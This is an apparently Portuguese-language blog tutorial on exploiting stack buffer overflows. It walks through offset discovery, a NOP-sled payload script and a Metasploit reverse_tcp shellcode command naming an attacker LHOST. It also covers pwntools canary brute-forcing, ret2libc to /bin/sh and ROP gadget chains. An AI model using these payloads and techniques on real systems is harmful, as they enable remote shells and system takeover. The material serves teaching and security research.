Stack overflow

stack overflow

O stack overflow

Como sabemos, a stack do processador é usada para múltiplos propósitos: ela guarda dados, mas também o endereço de onde o Program Counter deve ir quando uma função retorna. Por causa disto, uma escrita nos dados da stack pode alterar o fluxo do programa, caso seja feita de maneira incorreta (ou ainda maliciosa).

layout da stack

Imagine um buffer sendo definido localmente em uma função. Ele consequentemente será alocado na stack. Se o programa tentar escrever além dos limites do tamanho do buffer, escreverá em dados que não fazem parte do buffer e, eventualmente, escreverá também na posição do endereço de retorno da função.

Para testar um buffer overflow, o pesquisador insere uma entrada para o programa executável com uma grande quantidade de caracteres, por exemplo:

payload = AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD...etc 

São usadas 8 letras de cada para um processador de 64 bits. Seriam 4 letras para um processador de 32 bits.

Se uma quantidade que excede o tamanho do buffer causar um erro no programa, o hacker poderá usar um debugger para descobrir qual letra sobrescreveu a stack no endereço de retorno. Assim ele saberá quantos bytes são necessários para estourar o buffer.

Em seguida, o pesquisador substitui as letras do payload que estouraram o buffer pelo endereço da stack na posição seguinte (usando apenas 6 bytes, pois em 64 bits o endereçamento usa 6 bytes) e coloca no byte seguinte do payload a instrução de breakpoint (0xCC). 

payload = AAAAAAAABBBBBBBB...EEEEEEEE [endereço seguinte] \xCC

Um cuidado que sempre deve ser observado é com relação ao endianess dos endereços. A depender, o endereço obtido no debugger precise ser colocado com os bytes de trás para frente, para converter de “little” para “big endian”.

Ao executar, o programa deveria parar no breakpoint. Se isto acontecer, o hacker está pronto para inserir o seu código (shellcode) no lugar do \xCC:

payload = AAAAAAAABBBBBBBB...EEEEEEEE [endereço seguinte] [shellcode]

 

Shellcode

Shellcode é o código executável, constituído por instruções de máquina (opcodes) que vai inserido dentro do payload de um stack overflow. Normalmente é um código enxuto, e sujeito a restrições, como por exemplo a impossibilidade de usar o null byte (0x00). Para atribuir 0 a uma variável, o shellcode precisa fazer a operação XOR dela com ela mesma, evitando assim a necessidade de usar o null byte.

Shellcodes podem ser gerados a partir da ferramenta Metasploit (MSF) do Kali Linux:

use payload/windows/shell/reverse_tcp  

set LHOST 172.16.104.130

set LPORT 1234

generate -b '\x00\x55' -f python

Este shellcode é gerado evitando-se o uso dos bytes 0x00 e 0x55 e sua execução conecta a máquina alvo em um IP/porta de escolha do atacante.


Para rodar sem o debugger, o pesquisador pode gerar o payload por um script python e direcionar a saída para o executável:

(python exploit.py; cat) | /home/.../[exe]


O valor de [endereço seguinte] pode se deslocar levemente. Para contornar este problema:

usar como endereço de retorno (“ret_addr”) o endereço seguinte + 50;

acrescentar antes do shellcode uma carreira de nop (0x90) com mais de 50 instruções.


Segue um exemplo de script Python para gerar o payload:

import struct

padding="AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEE"

ret_addr = 0x7fffffffe470+50

ret = struct.pack('<Q', ret_addr) # resolve os detalhes de endianess

int3 = '\xCC'

nop = '\x90'

shellcode = '.....'

print(padding + ret + 100*nop + shellcode)


Proteções

Existem mecanismos nos processadores modernos para tentar evitar a exploração do stack overflow:

  • Stack canary, que sinaliza quando uma posição da stack que não deveria ser escrita é utilizada;
  • NX (No stack eXecution): impede que instruções sejam executadas a partir da stack;
  • PIE (Position Independent Executable): randomização dos endereços das instruções, que dificulta a elaboração de um payload malicioso;
  • ASLR (Address Space Layout Randomization): randomização da memória virtual.

Pelo gdb é possível checar quais deles estão ativos pelo comando “checksec”. A seguir, veremos como eles podem ser evadidos.


Stack canary

O canary são 8 bytes que se forem sobrescritos com um valor diferente do que foi determinado (“canary cookie”), o sistema é avisado sobre o overflow da stack. A chave para evadi-lo é descobrir o seu valor, apesar dele ser trocado a cada execução do programa, e utilizar o valor correto quando sobrescrever a stack.

Para isto usaremos força bruta e uma biblioteca de Python chamada pwtools que consegue interagir com o processo em execução. 

A interação com o processo acontece conforme este exemplo de script:

from pwn import *

context(arch = 'amd64', os = 'linux', endian = 'little')

binary = ELF('executavel')

context.log_level = 'DEBUG'


r = process("./executavel")  # cria processo

print r.recvline()  # recebe dados do processo

buf = ''

buf += 'A' * 100

r.sendline(buf)  # envia dados para o processo

print r.recvline()

O script deverá rodar em loop, sobrescrevendo o primeiro byte do canary, e variando até ele parar de dar erro. Quando isto acontecer, o primeiro byte do canary cookie foi achado. O processo deve ser repetido para o segundo byte do canary, e sucessivamente para cada um dos 8 bytes (em arquitetura 64 bits).

Mas isto só é possível se o processo se mantiver rodando após os erros (como costuma acontecer em um servidor), pois se o processo reiniciar, o canary cookie é alterado.

Encontrados os 8 bytes do canary cookie, o payload seria:

payload = AAAAAAAABBBBBBBB... [canary cookie] EEEEEEEE [ret_addr] [nops] [shellcode] 


NX - No stack eXecution

Para evadir a proteção de NX, realizaremos a evasão usando “return to libc”. Usando esta biblioteca, conseguiremos invocar uma shell e ter controle sobre a máquina que executa o binário vulnerável.

Para começar, precisamos encontrar o endereço de uma chamada de sistema. Confirme se endereço system está dentro da libc e anote o seu endereço. No gdb seria:

p system 

info proc mappings 

Agora procure um endereço que contenha a string “/bin/sh”:

find "/bin/sh"

x/s [endereço da string]

Em uma arquitetura x86 de 32 bits, onde os argumentos são passados pela stack, o payload ficaria:

payload = AAAAAAAABBBBBBBB...EEEEEEEE [endereço system] [fake return address] [endereço bin_sh]

O [fake return address] pode ser qualquer conjunto de 4 bytes, pois ele não será usado.

Na arquitetura de 64 bits é necessário o uso de gadgets para carregar um valor no registrador RDI. Gadgets são pequenos trechos de código com operações específicas. Existem alguns scripts que fazem a busca por gadgets, como o ropgadgets (https://github.com/JonathanSalwan/ROPgadget). Queremos encontrar um gadget que faça o POP do RDI e em seguida retorne:

ROPgadget --binary [exe] --ropchain | grep "pop rdi ; ret"

Com o endereço deste gadget em mãos, é possível montar o payload:

payload = AAAAAAAABBBBBBBB...EEEEEEEE [endereço poprdi-ret] [endereço bin_sh] [endereço system] 

 

ASLR - Address Space Layout Randomization

E para a última proteção, o ASLR, vou apresentar a técnica de ROP (Return Oriented Programming), um poderoso artifício para se construir payloads. O ROP serve tanto para o caso do ASLR como para o caso do NX.

Quando o ASLR está ativo, o endereço da memória virtual se altera a cada execução do programa. Isto pode ser constatado rodando o comando “ldd [exe]” repetidas vezes e vendo o endereço das bibliotecas variar.

No entanto, os endereços do código do programa (segmento .text) não é randomizado, pois é usado como endereço de retorno das funções (“ret_addr”).

Imagine que o shellcode para fazer pop-up de uma “messagebox” exibindo uma string fosse o seguinte:

mov RCX, 0

mov RDC, [endereço de uma string]

mov R8, [endereço de uma string]

mov R9, 0x30

call [endereço da API msgbox]

O objetivo é encontrar gadgets, trechos do código (.text) original que contenham estas instruções seguidas de uma instrução de “RET”. Seria improvável encontrar as instruções que contenham os endereços que desejamos, como em “call [endereço da API msgbox]”. Mas podemos substituir por “pop RAX” seguida de “call RAX” e deixar o endereço da “messagebox” na stack. Nossas instruções se convertem em:

pop RCX

pop RDX

pop R8

pop R9

pop RAX

call RAX

Usamos o ropgadget para procurar os gadgets:

ROPgadget --binary [exe] --ropchain | grep "pop rcx ; ret"

ROPgadget --binary [exe] --ropchain | grep "pop rdx ; ret"

e assim por diante. A depender da sorte, podem ser encontradas várias instruções encadeadas: "pop rcx ; pop rdx ; ret".

A montagem do payload incluiria os endereços dos gadgets e as entradas passadas para cada um deles, como o endereço da API da “messagebox”.

payload = AAAAAAAABBBBBBBB...EEEEEEEE [endereço gadget1] [input gadget1] [endereço gadget2] [input gadget2]...

Veja que o “return to libc” é um caso especial do ROP em que é chamada a biblioteca do sistema.

Uma excelente referência para este assunto é o Curso de Exploração de Binários do canal Papo Binário, ministrado pelo Fernando Fresteiro.


buffer overflow

Gostou do conteúdo? Acompanhe-nos em nosso grupo do Telegram:
Bug Bounty para Iniciante

Comentários

Postagens mais visitadas deste blog

Como escolher um programa de Bug Bounty?

Diferenças entre Bug Bounty e Pentest